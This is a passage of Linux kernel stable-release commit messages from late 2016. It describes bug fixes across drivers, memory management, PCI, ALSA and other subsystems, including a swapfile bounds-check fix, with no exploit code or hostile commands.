17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream. This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad. This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead. Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent. A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section). Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Fixes: 36b30d6138f4 ("staging: nvec: ps2: change serio type to passthrough") Signed-off-by: Greg Kroah-Hartman commit 529789866abec7a9b2857baeb5b525101d83df04 Author: Paul Fertser Date: Thu Oct 27 17:22:08 2016 +0300 drivers: staging: nvec: remove bogus reset command for PS/2 interface commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream. This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard. To prevent this from happening just let every party do its part of the job. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Signed-off-by: Greg Kroah-Hartman commit dea774aac05496fd51a172ec2f658b73d45705ec Author: Ian Abbott Date: Thu Oct 27 20:28:36 2016 +0100 staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value commit 55abe8165f31ffb83ce8b24da959b61362dca4c4 upstream. `ni_tio_clock_period_ps()` used to return the clock period in picoseconds, and had a `BUG()` call for invalid cases. It was changed to pass the clock period back via a pointer parameter and return an error for the invalid cases. Unfortunately the code to handle user-specified clock sources with user-specified clock period is still returning the clock period the old way, which can lead to the caller not getting the clock period, or seeing an unexpected error. Fix it by passing the clock period via the pointer parameter and returning `0`. Fixes: b42ca86ad605 ("staging: comedi: ni_tio: remove BUG() checks for ni_tio_get_clock_src()") Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman commit 5d510185f99aec70339ad5ebf97b1176dc4bf29b Author: Huacai Chen Date: Thu Nov 3 12:48:43 2016 +0800 staging: sm750fb: Fix bugs introduced by early commits commit 33c027ae3cfd8fefb6cccccc5c6b2c07d80891ce upstream. Early commit 30ca5cb63c56965 ("staging: sm750fb: change definition of PANEL_PLANE_TL fields") and 27b047bbe1ee9c0 ("staging: sm750fb: change definition of PANEL_PLANE_BR fields") modify the register bit fields definitions. But the modifications are wrong, because the bit mask of "bit field 10:0" is not 0xeff, but 0x7ff. The wrong definition bugs makes display very strange. Signed-off-by: Huacai Chen Signed-off-by: Greg Kroah-Hartman commit 45983d678b709f8b5cc4607450e86ddaa1a9cbb9 Author: Arnd Bergmann Date: Mon Oct 24 17:22:01 2016 +0200 staging: iio: ad5933: avoid uninitialized variable in error case commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream. The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug: drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work': drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds minimal error handling so we only evaluate the data if it was correctly read. Link: https://patchwork.kernel.org/patch/8110281/ Signed-off-by: Arnd Bergmann Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman commit 5289e59246dd32e49bff572e267168109e60051d Author: Ulf Hansson Date: Fri Nov 4 18:32:33 2016 +0100 mmc: mmc: Use 500ms as the default generic CMD6 timeout commit fe1b5700c70faac6e027982d59667bc6020de5a8 upstream. In the eMMC 4.51 version of the spec, an EXT_CSD field called GENERIC_CMD6_TIME[248] was added. This allows cards to specify the maximum time it may need to move out from its busy state, when a CMD6 command has been sent. In cases when the card is compliant to versions < 4.51 of the eMMC spec, obviously the core needs to use a fall-back value for this timeout, which currently is set to 10 minutes. This value is completely in the wrong range and importantly in some cases it causes a card initialization to take more than 10 minute to complete. Earlier this scenario was avoided as the mmc core used CMD13 to poll the card, to find out when it stopped signaling busy. Commit 08573eaf1a70 ("mmc: mmc: do not use CMD13 to get status after speed mode switch") changed this behavior. Instead of reverting that commit, which would cause other issues, let's instead start by picking a simple solution for the problem, by using a 500ms default generic CMD6 timeout. The reason for using exactly 500ms, comes from observations that shows it's quite common for cards to specify 250ms. 500ms is two times that value so likely it should be enough for most cards. Fixes: 08573eaf1a70 ("mmc: mmc: do not use CMD13 to get status after speed mode switch") Signed-off-by: Ulf Hansson Tested-by: Stephen Boyd Tested-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit ce4dfe7d927ec5b37c594b370b8d646588e1c974 Author: Adrian Hunter Date: Wed Nov 2 15:49:09 2016 +0200 mmc: sdhci: Fix unexpected data interrupt handling commit 69b962a65a547690a356f9f76bc4f53db538ac49 upstream. In the busy response case (i.e. !host->data), an unexpected data interrupt would result in clearing the data command as though it had completed but without informing the upper layers and thus resulting in a hang. Fix by only clearing the data command for data interrupts that are expected. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit bde8d3f733755edc95840cf4b57d9b6bc03c7c44 Author: Adrian Hunter Date: Wed Nov 2 15:49:08 2016 +0200 mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer commit 6ebebeab5185f50d55c6a24d0abe47e5dac1b191 upstream. CMD line reset during an ongoing data transfer can cause the data transfer to hang. Fix by delaying the reset until the data transfer is finished. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 10d24701f3f424940021c7c1a654c247ef04fb7b Author: Laura Abbott Date: Wed Oct 19 15:53:52 2016 -0700 cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set commit c25badc9ceb612c6cc227a6fc4b0aaf678e3bcf9 upstream. When converting to a shared library in ac5a181d065d ("cpupower: Add cpuidle parts into library"), cpu_freq_cpu_exists() was converted to cpupower_is_cpu_online(). cpu_req_cpu_exists() returned 0 on success and -ENOSYS on failure whereas cpupower_is_cpu_online returns 1 on success. Check for the correct return value in cpufreq-set. Link: https://bugzilla.redhat.com/show_bug.cgi?id=1374212 Fixes: ac5a181d065d (cpupower: Add cpuidle parts into library) Reported-by: Julian Seward Signed-off-by: Laura Abbott Acked-by: Thomas Renninger Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman commit f062e738c19b508a3ad15b99940fa9ec93b9addb Author: Mika Westerberg Date: Mon Oct 31 16:57:33 2016 +0200 pinctrl: cherryview: Prevent possible interrupt storm on resume commit d2cdf5dc58f6970e9d9d26e47974c21fe87983f3 upstream. When the system is suspended to S3 the BIOS might re-initialize certain GPIO pins back to their original state or it may re-program interrupt mask of others. For example Acer TravelMate B116-M had BIOS bug where certain GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the pin state was high once the BIOS gave control to the OS on resume. This triggers lots of messages like: irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0 ->handle_irq(): ffffffff8109b613, handle_bad_irq+0x0/0x1e0 ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview] ->action(): (null) IRQ_NOPROBE set We reset the mask back to known state in chv_pinctrl_resume() but that is called only after device interrupts have already been enabled. Now, this particular issue was fixed by upgrading the BIOS to the latest (v1.23) but not everybody upgrades their BIOSes so we fix it up in the driver as well. Prevent the possible interrupt storm by moving suspend and resume hooks to be called at _noirq time instead. Since device interrupts are still disabled we can restore the mask back to known state before interrupt storm happens. Reported-by: Christian Steiner Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit 1d99fe3317e31f2ba58067d6766346a1688d83c6 Author: Mika Westerberg Date: Mon Oct 31 16:57:32 2016 +0200 pinctrl: cherryview: Serialize register access in suspend/resume commit 56211121c0825cd188caad05574fdc518d5cac6f upstream. If async suspend is enabled, the driver may access registers concurrently with another instance which may fail because of the bug in Cherryview GPIO hardware. Prevent this by taking the shared lock while accessing the hardware in suspend and resume hooks. Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit f5ad9646261585338c94cd57d06c0b61964576de Author: Alexey Brodkin Date: Thu Nov 3 18:06:13 2016 +0300 arc: Implement arch-specific dma_map_ops.mmap commit a79a812131b07254c09cf325ec68c0d05aaed0b5 upstream. We used to use generic implementation of dma_map_ops.mmap which is dma_common_mmap() but that only worked for simpler cached mappings when vaddr = paddr. If a driver requests uncached DMA buffer kernel maps it to virtual address so that MMU gets involved and page uncached status takes into account. In that case usage of dma_common_mmap() lead to mapping of vaddr to vaddr for user-space which is obviously wrong. For more detals please refer to verbose explanation here [1]. So here we implement our own version of mmap() which always deals with dma_addr and maps underlying memory to user-space properly (note that DMA buffer mapped to user-space is always uncached because there's no way to properly manage cache from user-space). [1] https://lkml.org/lkml/2016/10/26/973 Reviewed-by: Catalin Marinas Cc: Marek Szyprowski Signed-off-by: Alexey Brodkin Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman commit 004e7c97f181ed4e66d9160c231caf55fb072312 Author: Bjorn Helgaas Date: Tue Nov 8 14:25:24 2016 -0600 PCI: Don't attempt to claim shadow copies of ROM commit 16d917b130d782b94fa02afc7bdf0d4aae689da4 upstream. If we're using a shadow copy of a PCI device ROM, the shadow copy is in RAM and the device never sees accesses to it and doesn't respond to it. We don't have to route the shadow range to the PCI device, and the device doesn't have to claim the range. Previously we treated the shadow copy as though it were the ROM BAR, and we failed to claim it because the region wasn't routed to the device: pci 0000:01:00.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] pci_bus 0000:01: Allocating resources pci 0000:01:00.0: can't claim BAR 6 [mem 0x000c0000-0x000dffff]: no compatible bridge window The failure path of pcibios_allocate_dev_rom_resource() cleared out the resource start address, which also caused the following ioremap() warning: WARNING: CPU: 0 PID: 116 at /build/linux-akdJXO/linux-4.8.0/arch/x86/mm/ioremap.c:121 __ioremap_caller+0x1ec/0x370 ioremap on RAM at 0x0000000000000000 - 0x000000000001ffff Handle an option ROM shadow copy as RAM, without trying to insert it into the iomem resource tree. This fixes a regression caused by 0c0e0736acad ("PCI: Set ROM shadow location in arch code, not in PCI core"), which appeared in v4.6. The regression causes video device initialization to fail. This was reported on AMD Turks, but it likely affects others as well. Fixes: 0c0e0736acad ("PCI: Set ROM shadow location in arch code, not in PCI core") Reported-and-tested-by: Vecu Bosseur Link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1627496 Link: https://bugzilla.kernel.org/show_bug.cgi?id=175391 Link: https://bugzilla.redhat.com/show_bug.cgi?id=1352272 Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman commit 7fac0361f94e24b179c5a7d1cfc57790f33624b8 Author: Vineet Gupta Date: Mon Oct 31 14:09:52 2016 -0700 ARC: timer: rtc: implement read loop in "C" vs. inline asm commit 922cc171998ac3dbe74d57011ef7ed57e9b0d7df upstream. The current code doesn't even compile as somehow the inline assembly can't see the register names defined as ARC_RTC_* I'm pretty sure It worked when I first got it merged, but the tools were definitely different then. So better to write this in "C" anyways. Acked-by: Daniel Lezcano Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman commit 4058116db4d0afb9b03d90869ae7063c589ada34 Author: Michael Holzheu Date: Tue Oct 25 16:24:28 2016 +0200 s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream. Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory. After the above commit we get an error for diag224 because aligned memory is required. This leads to the following user visible error: # mount none -t s390_hypfs /sys/hypervisor/ mount: unknown filesystem type 's390_hypfs' # dmesg | grep hypfs hypfs.cccfb8: The hardware system does not provide all functions required by hypfs hypfs.7a79f0: Initialization of hypfs failed with rc=-61 Fix this problem and use get_free_page() instead of kmalloc() to get correctly aligned memory. Signed-off-by: Michael Holzheu Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman commit 2f3e0b82ebe9781120e253702709f8ae52132b61 Author: Andrey Ryabinin Date: Thu Nov 10 10:46:38 2016 -0800 coredump: fix unfreezable coredumping task commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream. It could be not possible to freeze coredumping task when it waits for 'core_state->startup' completion, because threads are frozen in get_signal() before they got a chance to complete 'core_state->startup'. Inability to freeze a task during suspend will cause suspend to fail. Also CRIU uses cgroup freezer during dump operation. So with an unfreezable task the CRIU dump will fail because it waits for a transition from 'FREEZING' to 'FROZEN' state which will never happen. Use freezer_do_not_count() to tell freezer to ignore coredumping task while it waits for core_state->startup completion. Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com Signed-off-by: Andrey Ryabinin Acked-by: Pavel Machek Acked-by: Oleg Nesterov Cc: Alexander Viro Cc: Tejun Heo Cc: "Rafael J. Wysocki" Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit d6ee4f47e2e79c7b367ccc8df2959a3c080e1b83 Author: Mike Kravetz Date: Thu Nov 10 10:46:32 2016 -0800 mm/hugetlb: fix huge page reservation leak in private mapping error paths commit 96b96a96ddee4ba08ce4aeb8a558a3271fd4a7a7 upstream. Error paths in hugetlb_cow() and hugetlb_no_page() may free a newly allocated huge page. If a reservation was associated with the huge page, alloc_huge_page() consumed the reservation while allocating. When the newly allocated page is freed in free_huge_page(), it will increment the global reservation count. However, the reservation entry in the reserve map will remain. This is not an issue for shared mappings as the entry in the reserve map indicates a reservation exists. But, an entry in a private mapping reserve map indicates the reservation was consumed and no longer exists. This results in an inconsistency between the reserve map and the global reservation count. This 'leaks' a reserved huge page. Create a new routine restore_reserve_on_error() to restore the reserve entry in these specific error paths. This routine makes use of a new function vma_add_reservation() which will add a reserve entry for a specific address/page. In general, these error paths were rarely (if ever) taken on most architectures. However, powerpc contained arch specific code that that resulted in an extra fault and execution of these error paths on all private mappings. Fixes: 67961f9db8c4 ("mm/hugetlb: fix huge page reserve accounting for private mappings) Link: http://lkml.kernel.org/r/1476933077-23091-2-git-send-email-mike.kravetz@oracle.com Signed-off-by: Mike Kravetz Reported-by: Jan Stancek Tested-by: Jan Stancek Reviewed-by: Aneesh Kumar K.V Acked-by: Hillf Danton Cc: Naoya Horiguchi Cc: Michal Hocko Cc: Kirill A . Shutemov Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit e87bf4f558f1638df307ebadb7c8048f60cc12fe Author: Naoya Horiguchi Date: Thu Nov 10 10:46:23 2016 -0800 mm: hwpoison: fix thp split handling in memory_failure() commit c3901e722b2975666f42748340df798114742d6d upstream. When memory_failure() runs on a thp tail page after pmd is split, we trigger the following VM_BUG_ON_PAGE(): page:ffffd7cd819b0040 count:0 mapcount:0 mapping: (null) index:0x1 flags: 0x1fffc000400000(hwpoison) page dumped because: VM_BUG_ON_PAGE(!page_count(p)) ------------[ cut here ]------------ kernel BUG at /src/linux-dev/mm/memory-failure.c:1132! memory_failure() passed refcount and page lock from tail page to head page, which is not needed because we can pass any subpage to split_huge_page(). Fixes: 61f5d698cc97 ("mm: re-enable THP") Link: http://lkml.kernel.org/r/1477961577-7183-1-git-send-email-n-horiguchi@ah.jp.nec.com Signed-off-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 67c79e166d467c21778aaccc1f8992572c9062f7 Author: Jann Horn Date: Thu Nov 10 10:46:19 2016 -0800 swapfile: fix memory corruption via malformed swapfile commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream. When root activates a swap partition whose header has the wrong endianness, nr_badpages elements of badpages are swabbed before nr_badpages has been checked, leading to a buffer overrun of up to 8GB. This normally is not a security issue because it can only be exploited by root (more specifically, a process with CAP_SYS_ADMIN or the ability to modify a swap file/partition), and such a process can already e.g. modify swapped-out memory of any other userspace process on the system. Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net Signed-off-by: Jann Horn Acked-by: Kees Cook Acked-by: Jerome Marchand Acked-by: Johannes Weiner Cc: "Kirill A. Shutemov" Cc: Vlastimil Babka Cc: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit c87739e5d029a61ef1bbaccd90d07194459f9640 Author: Hugh Dickins Date: Thu Nov 10 10:46:11 2016 -0800 shmem: fix pageflags after swapping DMA32 object commit 9956edf37e65e93fbb76dcff1236dff2323d306a upstream. If shmem_alloc_page() does not set PageLocked and PageSwapBacked, then shmem_replace_page() needs to do so for itself. Without this, it puts newpage on the wrong lru, re-unlocks the unlocked newpage, and system descends into "Bad page" reports and freeze; or if CONFIG_DEBUG_VM=y, it hits an earlier VM_BUG_ON_PAGE(!PageLocked), depending on config. But shmem_replace_page() is not a common path: it's only called when swapin (or swapoff) finds the page was already read into an unsuitable zone: usually all zones are suitable, but gem objects for a few drm devices (gma500, omapdrm, crestline, broadwater) require zone DMA32 if there's more than 4GB of ram. Fixes: 800d8c63b2e9 ("shmem: add huge pages support") Link: http://lkml.kernel.org/r/alpine.LSU.2.11.1611062003510.11253@eggly.anvils Signed-off-by: Hugh Dickins Acked-by: Kirill A. Shutemov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 5b5243b606ec0de2988d32207a537841d4ead721 Author: Vlastimil Babka Date: Thu Nov 10 10:46:07 2016 -0800 mm, frontswap: make sure allocated frontswap map is assigned commit 5e322beefc8699b5747cfb35539a9496034e4296 upstream. Christian Borntraeger reports: With commit 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to static key") kmemleak complains about a memory leak in swapon unreferenced object 0x3e09ba56000 (size 32112640): comm "swapon", pid 7852, jiffies 4294968787 (age 1490.770s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: __vmalloc_node_range+0x194/0x2d8 vzalloc+0x58/0x68 SyS_swapon+0xd60/0x12f8 system_call+0xd6/0x270 Turns out kmemleak is right. We now allocate the frontswap map depending on the kernel config (and no longer on the enablement) swapfile.c: [...] if (IS_ENABLED(CONFIG_FRONTSWAP)) frontswap_map = vzalloc(BITS_TO_LONGS(maxpages) * sizeof(long)); but later on this is passed along --> enable_swap_info(p, prio, swap_map, cluster_info, frontswap_map); and ignored if frontswap is disabled --> frontswap_init(p->type, frontswap_map); static inline void frontswap_init(unsigned type, unsigned long *map) { if (frontswap_enabled()) __frontswap_init(type, map); } Thing is, that frontswap map is never freed. The leakage is relatively not that bad, because swapon is an infrequent and privileged operation. However, if the first frontswap backend is registered after a swap type has been already enabled, it will WARN_ON in frontswap_register_ops() and frontswap will not be available for the swap type. Fix this by making sure the map is assigned by frontswap_init() as long as CONFIG_FRONTSWAP is enabled. Fixes: 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to static key") Link: http://lkml.kernel.org/r/20161026134220.2566-1-vbabka@suse.cz Signed-off-by: Vlastimil Babka Reported-by: Christian Borntraeger Cc: Konrad Rzeszutek Wilk Cc: Boris Ostrovsky Cc: David Vrabel Cc: Juergen Gross Cc: "Kirill A. Shutemov" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 2e594273d4c526a2a65c665619acd8ed46317fd0 Author: Sean Young Date: Thu Nov 10 17:44:49 2016 +0100 dib0700: fix nec repeat handling commit ba13e98f2cebd55a3744c5ffaa08f9dca73bf521 upstream. When receiving a nec repeat, ensure the correct scancode is repeated rather than a random value from the stack. This removes the need for the bogus uninitialized_var() and also fixes the warnings: drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’: drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function [sean addon: So after writing the patch and submitting it, I've bought the hardware on ebay. Without this patch you get random scancodes on nec repeats, which the patch indeed fixes.] Signed-off-by: Sean Young Tested-by: Sean Young Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 9964230320d502be7dad8fddca911169504d96ac Author: murray foster Date: Sun Oct 9 13:28:45 2016 -0700 ASoC: cs4270: fix DAPM stream name mismatch commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream. Mismatching stream names in DAPM route and widget definitions are causing compilation errors. Fixing these names allows the cs4270 driver to compile and function. [Errors must be at probe time not compile time -- broonie] Signed-off-by: Murray Foster Acked-by: Paul Handrigan Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman commit 9386a722d2500b3e9dc8751c434a6c3c5e4c3f5c Author: Takashi Iwai Date: Sun Oct 30 22:18:45 2016 +0100 ALSA: info: Limit the proc text input size commit 027a9fe6835620422b6713892175716f3613dd9d upstream. The ALSA proc handler allows currently the write in the unlimited size until kmalloc() fails. But basically the write is supposed to be only for small inputs, mostly for one line inputs, and we don't have to handle too large sizes at all. Since the kmalloc error results in the kernel warning, it's better to limit the size beforehand. This patch adds the limit of 16kB, which must be large enough for the currently existing code. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman commit c3ea1b15b71ec829759cfbce8338b72fe765fd94 Author: Takashi Iwai Date: Sun Oct 30 22:13:19 2016 +0100 ALSA: info: Return error for invalid read/write commit 6809cd682b82dfff47943850d1a8c714f971b5ca upstream. Currently the ALSA proc handler allows read or write even if the proc file were write-only or read-only. It's mostly harmless, does thing but allocating memory and ignores the input/output. But it doesn't tell user about the invalid use, and it's confusing and inconsistent in comparison with other proc files. This patch adds some sanity checks and let the proc handler returning an -EIO error when the invalid read/write is performed. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman